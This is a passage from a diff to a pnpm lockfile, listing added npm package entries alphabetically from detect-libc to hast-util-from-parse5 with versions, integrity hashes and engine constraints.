{node: '>=0.10'} + hasBin: true + + detect-libc@2.1.0: + resolution: {integrity: sha512-vEtk+OcP7VBRtQZ1EJ3bdgzSfBjgnEalLTp5zjJrS+2Z1w2KZly4SBdac/WDU3hhsNAZ9E8SC96ME4Ey8MZ7cg==} + engines: {node: '>=8'} + + detect-libc@2.1.1: + resolution: {integrity: sha512-ecqj/sy1jcK1uWrwpR67UhYrIFQ+5WlGxth34WquCbamhFA6hkkwiu37o6J5xCHdo1oixJRfVRw+ywV+Hq/0Aw==} + engines: {node: '>=8'} + + deterministic-object-hash@2.0.2: + resolution: {integrity: sha512-KxektNH63SrbfUyDiwXqRb1rLwKt33AmMv+5Nhsw1kqZ13SJBRTgZHtGbE+hH3a1mVW1cz+4pqSWVPAtLVXTzQ==} + engines: {node: '>=18'} + + devalue@5.3.2: + resolution: {integrity: sha512-UDsjUbpQn9kvm68slnrs+mfxwFkIflOhkanmyabZ8zOYk8SMEIbJ3TK+88g70hSIeytu4y18f0z/hYHMTrXIWw==} + + devlop@1.1.0: + resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + + dfa@1.2.0: + resolution: {integrity: sha512-ED3jP8saaweFTjeGX8HQPjeC1YYyZs98jGNZx6IiBvxW7JG5v492kamAQB3m2wop07CvU/RQmzcKr6bgcC5D/Q==} + + didyoumean@1.2.2: + resolution: {integrity: sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==} + + diff@5.2.0: + resolution: {integrity: sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==} + engines: {node: '>=0.3.1'} + + direction@2.0.1: + resolution: {integrity: sha512-9S6m9Sukh1cZNknO1CWAr2QAWsbKLafQiyM5gZ7VgXHeuaoUwffKN4q6NC4A/Mf9iiPlOXQEKW/Mv/mh9/3YFA==} + hasBin: true + + dlv@1.1.3: + resolution: {integrity: sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==} + + dom-serializer@1.4.1: + resolution: {integrity: sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==} + + dom-serializer@2.0.0: + resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==} + + domelementtype@2.3.0: + resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==} + + domhandler@4.3.1: + resolution: {integrity: sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==} + engines: {node: '>= 4'} + + domhandler@5.0.3: + resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==} + engines: {node: '>= 4'} + + domutils@2.8.0: + resolution: {integrity: sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==} + + domutils@3.2.2: + resolution: {integrity: sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==} + + dset@3.1.4: + resolution: {integrity: sha512-2QF/g9/zTaPDc3BjNcVTGoBbXBgYfMTTceLaYcFJ/W9kggFUkhxD/hMEeuLKbugyef9SqAx8cpgwlIP/jinUTA==} + engines: {node: '>=4'} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + duplexer@0.1.1: + resolution: {integrity: sha512-sxNZ+ljy+RA1maXoUReeqBBpBC6RLKmg5ewzV+x+mSETmWNoKdZN6vcQjpFROemza23hGFskJtFNoUWUaQ+R4Q==} + + duplexer@0.1.2: + resolution: {integrity: sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==} + + eastasianwidth@0.2.0: + resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} + + ejs@3.1.10: + resolution: {integrity: sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==} + engines: {node: '>=0.10.0'} + hasBin: true + + electron-to-chromium@1.5.126: + resolution: {integrity: sha512-AtH1uLcTC72LA4vfYcEJJkrMk/MY/X0ub8Hv7QGAePW2JkeUFHEL/QfS4J77R6M87Sss8O0OcqReSaN1bpyA+Q==} + + electron-to-chromium@1.5.190: + resolution: {integrity: sha512-k4McmnB2091YIsdCgkS0fMVMPOJgxl93ltFzaryXqwip1AaxeDqKCGLxkXODDA5Ab/D+tV5EL5+aTx76RvLRxw==} + + emmet@2.4.11: + resolution: {integrity: sha512-23QPJB3moh/U9sT4rQzGgeyyGIrcM+GH5uVYg2C6wZIxAIJq7Ng3QLT79tl8FUwDXhyq9SusfknOrofAKqvgyQ==} + + emoji-regex@10.5.0: + resolution: {integrity: sha512-lb49vf1Xzfx080OKA0o6l8DQQpV+6Vg95zyCJX9VB/BqKYlhG7N4wgROUUHRA+ZPUefLnteQOad7z1kT2bV7bg==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + emoji-regex@9.2.2: + resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + + encoding-sniffer@0.2.0: + resolution: {integrity: sha512-ju7Wq1kg04I3HtiYIOrUrdfdDvkyO9s5XM8QAj/bN61Yo/Vb4vgJxy5vi4Yxk01gWHbrofpPtpxM8bKger9jhg==} + + end-of-stream@1.4.4: + resolution: {integrity: sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==} + + entities@2.2.0: + resolution: {integrity: sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==} + + entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + + entities@6.0.1: + resolution: {integrity: sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==} + engines: {node: '>=0.12'} + + error-ex@1.3.2: + resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} + + es-abstract@1.24.0: + resolution: {integrity: sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==} + engines: {node: '>= 0.4'} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-module-lexer@1.7.0: + resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.1.0: + resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} + engines: {node: '>= 0.4'} + + es-to-primitive@1.3.0: + resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==} + engines: {node: '>= 0.4'} + + esbuild@0.25.10: + resolution: {integrity: sha512-9RiGKvCwaqxO2owP61uQ4BgNborAQskMR6QusfWzQqv7AZOg5oGehdY2pRJMTKuwxd1IDBP4rSbI5lHzU7SMsQ==} + engines: {node: '>=18'} + hasBin: true + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-string-regexp@1.0.5: + resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} + engines: {node: '>=0.8.0'} + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + escape-string-regexp@5.0.0: + resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==} + engines: {node: '>=12'} + + esm-env@1.2.2: + resolution: {integrity: sha512-Epxrv+Nr/CaL4ZcFGPJIYLWFom+YeV1DqMLHJoEd9SYRxNbaFruBwfEX/kkHUJf55j2+TUbmDcmuilbP1TmXHA==} + + esrap@2.1.0: + resolution: {integrity: sha512-yzmPNpl7TBbMRC5Lj2JlJZNPml0tzqoqP5B1JXycNUwtqma9AKCO0M2wHrdgsHcy1WRW7S9rJknAMtByg3usgA==} + + estree-walker@0.6.1: + resolution: {integrity: sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w==} + + estree-walker@1.0.1: + resolution: {integrity: sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==} + + estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + ethers@6.15.0: + resolution: {integrity: sha512-Kf/3ZW54L4UT0pZtsY/rf+EkBU7Qi5nnhonjUb8yTXcxH3cdcWrV2cRyk0Xk/4jK6OoHhxxZHriyhje20If2hQ==} + engines: {node: '>=14.0.0'} + + eventemitter3@4.0.7: + resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==} + + eventemitter3@5.0.1: + resolution: {integrity: sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==} + + expressive-code@0.41.3: + resolution: {integrity: sha512-YLnD62jfgBZYrXIPQcJ0a51Afv9h8VlWqEGK9uU2T5nL/5rb8SnA86+7+mgCZe5D34Tff5RNEA5hjNVJYHzrFg==} + + exsolve@1.0.4: + resolution: {integrity: sha512-xsZH6PXaER4XoV+NiT7JHp1bJodJVT+cxeSH1G0f0tlT0lJqYuHUP3bUx2HtfTDvOagMINYp8rsqusxud3RXhw==} + + extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + + extract-zip@2.0.1: + resolution: {integrity: sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==} + engines: {node: '>= 10.17.0'} + hasBin: true + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-uri@3.0.6: + resolution: {integrity: sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==} + + fast-xml-parser@5.2.3: + resolution: {integrity: sha512-OdCYfRqfpuLUFonTNjvd30rCBZUneHpSQkCqfaeWQ9qrKcl6XlWeDBNVwGb+INAIxRshuN2jF+BE0L6gbBO2mw==} + hasBin: true + + fastq@1.19.1: + resolution: {integrity: sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==} + + fd-slicer@1.1.0: + resolution: {integrity: sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + figures@1.7.0: + resolution: {integrity: sha512-UxKlfCRuCBxSXU4C6t9scbDyWZ4VlaFFdojKtzJuSkuOBQ5CNFum+zZXFwHjo+CxBC1t6zlYPgHIgFjL8ggoEQ==} + engines: {node: '>=0.10.0'} + + filelist@1.0.4: + resolution: {integrity: sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==} + + filesize@6.4.0: + resolution: {integrity: sha512-mjFIpOHC4jbfcTfoh4rkWpI31mF7viw9ikj/JyLoKzqlwG/YsefKfvYlYhdYdg/9mtK2z1AzgN/0LvVQ3zdlSQ==} + engines: {node: '>= 0.4.0'} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + find-cache-dir@3.3.2: + resolution: {integrity: sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==} + engines: {node: '>=8'} + + find-up@4.1.0: + resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} + engines: {node: '>=8'} + + flattie@1.1.1: + resolution: {integrity: sha512-9UbaD6XdAL97+k/n+N7JwX46K/M6Zc6KcFYskrYL8wbBV/Uyk0CTAMY0VT+qiK5PM7AIc9aTWYtq65U7T+aCNQ==} + engines: {node: '>=8'} + + focus-options-polyfill@1.6.0: + resolution: {integrity: sha512-uyrAmLZrPnUItQY5wTdg31TO9GGZRGsh/jmohUg9oLmLi/sw5y7LlTV/mwyd6rvbxIOGwmRiv6LcTS8w7Bk9NQ==} + + follow-redirects@1.15.9: + resolution: {integrity: sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + fontace@0.3.0: + resolution: {integrity: sha512-czoqATrcnxgWb/nAkfyIrRp6Q8biYj7nGnL6zfhTcX+JKKpWHFBnb8uNMw/kZr7u++3Y3wYSYoZgHkCcsuBpBg==} + + fontkit@2.0.4: + resolution: {integrity: sha512-syetQadaUEDNdxdugga9CpEYVaQIxOwk7GlwZWWZ19//qW4zE5bknOKeMBDYAASwnpaSHKJITRLMF9m1fp3s6g==} + + for-each@0.3.5: + resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} + engines: {node: '>= 0.4'} + + foreground-child@3.3.1: + resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==} + engines: {node: '>=14'} + + form-data@4.0.2: + resolution: {integrity: sha512-hGfm/slu0ZabnNt4oaRZ6uREyfCj6P4fT/n6A1rGV+Z0VdGXjfOhVUpkn6qVQONHGIFwmveGXyDs75+nr6FM8w==} + engines: {node: '>= 6'} + + fraction.js@4.3.7: + resolution: {integrity: sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==} + + fs-extra@10.1.0: + resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} + engines: {node: '>=12'} + + fs-minipass@2.1.0: + resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} + engines: {node: '>= 8'} + + fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + function.prototype.name@1.1.8: + resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==} + engines: {node: '>= 0.4'} + + functions-have-names@1.2.3: + resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} + + generic-names@4.0.0: + resolution: {integrity: sha512-ySFolZQfw9FoDb3ed9d80Cm9f0+r7qj+HJkWjeD9RBfpxEVTlVhol+gvaQB/78WbwYfbnNh8nWHHBSlg072y6A==} + + gensync@1.0.0-beta.2: + resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} + engines: {node: '>=6.9.0'} + + get-caller-file@2.0.5: + resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} + engines: {node: 6.* || 8.* || >= 10.*} + + get-east-asian-width@1.4.0: + resolution: {integrity: sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q==} + engines: {node: '>=18'} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + get-stream@5.2.0: + resolution: {integrity: sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==} + engines: {node: '>=8'} + + get-symbol-description@1.1.0: + resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==} + engines: {node: '>= 0.4'} + + github-slugger@2.0.0: + resolution: {integrity: sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + glob@10.4.5: + resolution: {integrity: sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==} + hasBin: true + + glob@7.2.3: + resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} + deprecated: Glob versions prior to v9 are no longer supported + + globals@15.15.0: + resolution: {integrity: sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==} + engines: {node: '>=18'} + + globalthis@1.0.4: + resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} + engines: {node: '>= 0.4'} + + globalyzer@0.1.0: + resolution: {integrity: sha512-40oNTM9UfG6aBmuKxk/giHn5nQ8RVz/SS4Ir6zgzOv9/qC3kKZ9v4etGTcJbEl/NyVQH7FGU7d+X1egr57Md2Q==} + + globrex@0.1.2: + resolution: {integrity: sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg==} + + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + gzip-size@3.0.0: + resolution: {integrity: sha512-6s8trQiK+OMzSaCSVXX+iqIcLV9tC+E73jrJrJTyS4h/AJhlxHvzFKqM1YLDJWRGgHX8uLkBeXkA0njNj39L4w==} + engines: {node: '>=0.12.0'} + + gzip-size@6.0.0: + resolution: {integrity: sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==} + engines: {node: '>=10'} + + h3@1.15.4: + resolution: {integrity: sha512-z5cFQWDffyOe4vQ9xIqNfCZdV4p//vy6fBnr8Q1AWnVZ0teurKMG66rLj++TKwKPUP3u7iMUvrvKaEUiQw2QWQ==} + + has-ansi@2.0.0: + resolution: {integrity: sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==} + engines: {node: '>=0.10.0'} + + has-bigints@1.1.0: + resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==} + engines: {node: '>= 0.4'} + + has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + + has-property-descriptors@1.0.2: + resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} + + has-proto@1.2.0: + resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==} + engines: {node: '>= 0.4'} + + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + has-tostringtag@1.0.2: + resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} + engines: {node: '>= 0.4'} + + hasown@2.0.2: + resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} + engines: {node: '>= 0.4'} + + hast-util-from-dom@5.0.1: + resolution: {integrity: sha512-N+LqofjR2zuzTjCPzyDUdSshy4Ma6li7p/c3pA78uTwzFgENbgbUrm2ugwsOdcjI1muO+o6Dgzp9p8WHtn/39Q==} + + hast-util-from-html-isomorphic@2.0.0: + resolution: {integrity: sha512-zJfpXq44yff2hmE0XmwEOzdWin5xwH+QIhMLOScpX91e/NSGPsAzNCvLQDIEPyO2TXi+lBmU6hjLIhV8MwP2kw==} + + hast-util-from-html@2.0.3: + resolution: {integrity: sha512-CUSRHXyKjzHov8yKsQjGOElXy/3EKpyX56ELnkHH34vDVw1N1XSQ1ZcAvTyAPtGqLTuKP/uxM+aLkSPqF/EtMw==} + + hast-util-from-parse5@8.0.3: + resolution: {integrity: 